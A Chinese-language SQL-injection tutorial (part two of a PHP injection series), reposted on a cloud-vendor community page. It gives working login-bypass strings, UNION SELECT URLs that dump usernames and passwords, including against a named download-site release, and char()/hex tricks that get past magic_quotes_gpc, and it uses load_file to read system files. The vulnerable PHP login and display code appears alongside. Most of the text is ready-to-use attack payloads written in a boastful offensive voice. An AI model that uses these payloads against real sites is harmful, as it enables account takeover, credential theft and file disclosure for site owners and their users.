php注入祥解(二)

來源:互聯網
上載者:User

我們構建注入語句吧
在輸入框輸入
a% and 1=2 union select 1,username,3,4,5,6,7,8, password,10,11 from
alphaauthor#放到sql語句中成了

select * from alphadb where title like %a% and 1=2 union select
1,username,3,4,5,6,7,8, password,10,11 from alphaauthor# %

怎麼樣,出來了吧,哈哈,一切盡在掌握之中。

C:下面我們從注入地點上在來看一下各種注入攻擊方式
1)    首先來看看後台登陸哦
代碼
//login.php
.......
$query="select * from alphaauthor where UserName= "
.$HTTP_POST_VARS["UserName"]." and
Password= ". $HTTP_POST_VARS["Password"]." ";
$result=mysql_query($query);
$data=mysql_fetch_array($result);
if ($data)
{
echo "後台登陸成功";
}
esle
{
echo "重新登陸";
exit;

.........
?>
Username和password沒有經過任何處理直接放到sql中執行了。
看看我們怎麼繞過呢?
最經典的還是那個:
在使用者名稱和密碼框裡都輸入
‘or =
帶入sql語句中成了
select * from alphaauthor where UserName= or = and Password= or =
這樣帶入得到的$data肯定為真,也就是我們成功登陸了。
還有其他的繞過方法,原理是一樣的,就是想辦法讓$data返回是真就可以了。
我們可以用下面的這些中方法哦
1.
使用者名稱和密碼都輸入 or a = a
Sql成了
select * from alphaauthor where UserName= or a = a and Password=
or a = a

2.
使用者名稱和密碼都輸入 or 1=1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 1=1 and ‘ =
and Password= or 1=1 and ‘ =

使用者名稱和密碼都輸入 or 2>1 and ‘ =
Sql成了
select * from alphaauthor where UserName= or 2>1 and ‘ =
and Password= or 2>1 and ‘ =

3.
使用者名稱輸入 or 1=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName= or 1=1 # and
Password= anything

後面部分被注釋掉了,當然返回還是真哦。
        4.
假設admin的id=1的話你也可以

使用者名稱輸入 or id=1 # 密碼隨便輸入
Sql成了
select * from alphaauthor where UserName= or id=1 # and Password= anything

怎麼樣?直接登陸了哦!

俗話說的好,只有想不到沒有做不到。
還有更多的構造方法等著課後自己想啦。

2)第二個常用注入的地方應該算是前台資料顯示的地方了。
上面已經多次提到了呀,而且涉及了數字型,字元型等等,這裡就不再重複了哈。
只是舉個例子回顧一下
碧海潮聲下載站 - v2.0.3 lite有注入漏洞,代碼就不再列出來了
直接看結果
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,password,4,username,6,7,8,9,10,11,12,13,14,15,16,17,18%20from%
20dl_users 

看看,我們又得到我們想要的了
使用者名稱alpha
密碼一長串。
為什麼我們要把password放在3欄位處,把username放在5欄位處了,我們上面已經提過了哦,就是我們猜測3和5段顯示的應該是字串型,而與我們要顯示的username和password的欄位類型應該相同,所以我們這樣放了哦。
為什麼要用18個欄位呢?不知道大家還是否記得在union select介紹那裡我們提到union必須要求前後select的欄位數相同,我們可以通過增加select的個數來猜測到需要18個欄位,只有這樣union select的內容才會正常顯示哦!
3)其它如資料修改,使用者註冊的地方主要得有使用者等級的應用。
我們在上面講述update和insert的時候都已經講到,因為不是很常用,這裡就不再闡述,在下面將會提到一些關於update和insert的進階利用技巧。
二:下面將要進入magic_quotes_gpc=On時候的注入攻擊教學環節了
    當magic_quotes_gpc=On的時候,交的變數中所有的 (單引號),
" (雙引號), \ (反斜線) 和 Null 字元會自動轉為含有反斜線的逸出字元。
    這就使字元型注入的方法化為泡影,這時候我們就只能注入數字型且沒有
Intval()處理的情況了,數字型的我們已經講了很多了是吧,由於數字型沒有用到單引號自然就沒有繞過的問題了,對於這種情況我們直接注入就可以了。
1)假如是字元型的就必須得像下面這個樣子,沒有在字元上加引號 。
    
這裡我們要用到一些字串處理函數先,
字串處理函數有很多,這裡我們主要講下面的幾個,具體可以參照mysql中文參考手冊7.4.10。
    
    char() 將參數解釋為整數並且返回由這些整數的ASCII代碼字元組成的一個字串。
當然你也可以用字元的16進位來代替字元,這樣也可以的,方法就是在16進位前面加0x,看下面的例子就明白了。

        //login.php
    ......
$query="select * from ".$art_system_db_table[ user ]."
where UserName=$username and Password= ".$Pw." ";
......
?>

假設我們知道背景使用者名稱是alpha
轉化成ASCII後是char(97,108,112,104,97)
轉化成16進位是0x616C706861

好了直接在瀏覽器裡輸入:

http://localhost/site/admin/login.php?username=char(97,108,112,104,97)%23
sql語句變成:

select * from alphaAut

hor where UserName=char(97,108,112,104,97)# and Password=

 

    正如我們期望的那樣,他順利執行了,我們得到我們想要的。
    當然咯,我們也可以這樣構造
http://localhost/site/admin/login.php?username=0x616C706861%23
sql語句變成:
select * from alphaAuthor where UserName=0x616C706861%23# and Password=
我們再一次是成功者了。很有成就感吧,

或許你會問我們是否可以把#也放在char()裡
實際上char(97,108,112,104,97)相當於 alpha
注意是alpha上加引號,表示alpha字串。
我們知道在mysql中如果執行

mysql> select * from dl_users where username=alpha;
ERROR 1054 (42S22): Unknown column alpha in where clause
看返回錯誤了。因為他會認為alpha是一個變數。所以我們得在alpha上加引號。
如下
mysql> select * from dl_users where username= alpha ;
這樣才是正確的。
如果你把#號也放到那裡去了,就成了 alpha#
帶入sql語句中
select * from dl_users where username= alpha# ;
當然是什麼也沒有了,因為連alpha#這個使用者都沒有。
好,下面我們再來看個例子,

    //display.php
    ......
$query="select * from ".$art_system_db_table[ article ]."
where type=$type;
......
?>

代碼根據類型來顯示內容,$type沒有任何過濾,且沒有加引號放入程式中。
假設type中含有xiaohua類,xiaohua的char()轉換後是
char(120,105,97,111,104,117,97)

我們構建
http://localhost/display.php?type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
帶入sql語句中為:
select * from ".$art_system_db_table[ article ]."
where type=char(120,105,97,111,104,117,97) and 1=2 union select 1,2,username,4,password,6,7,8,9,10,11 from alphaauthor
看看,我們的使用者名稱和密碼照樣出來了哦!沒有截圖,想像一下咯:P

2)    或許有人會問,在magic_quotes_gpc=On的情況下功能強大的load_file()還能不能用呢?
這正是我們下面要將的問題了,load_file()的使用格式是load_file(‘檔案路徑 )
我們發現只要把‘檔案路徑 轉化成char()就可以了。試試看哦
load_file(‘c:/boot.ini )轉化成
load_file(char(99,58,47,98,111,111,116,46,105,110,105))
圖22

    放到具體注入裡就是
http://localhost/down/index.php?url=&dlid=1%20and%201=2%20union%20select%
201,2,load_file(char
(99,58,47,98,111,111,116,46,105,110,105)),4,5,6,7,8,9,10,11,12,13,14,15,16,
17,18

    看看,我們看到了boot.ini的內容了哦。
很可惜的是into outfile 不能繞過,不然就更爽了。但是還是有一個地方可以使用select * from table into outfile 那就是....(先賣個關子,下面會告訴你)

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.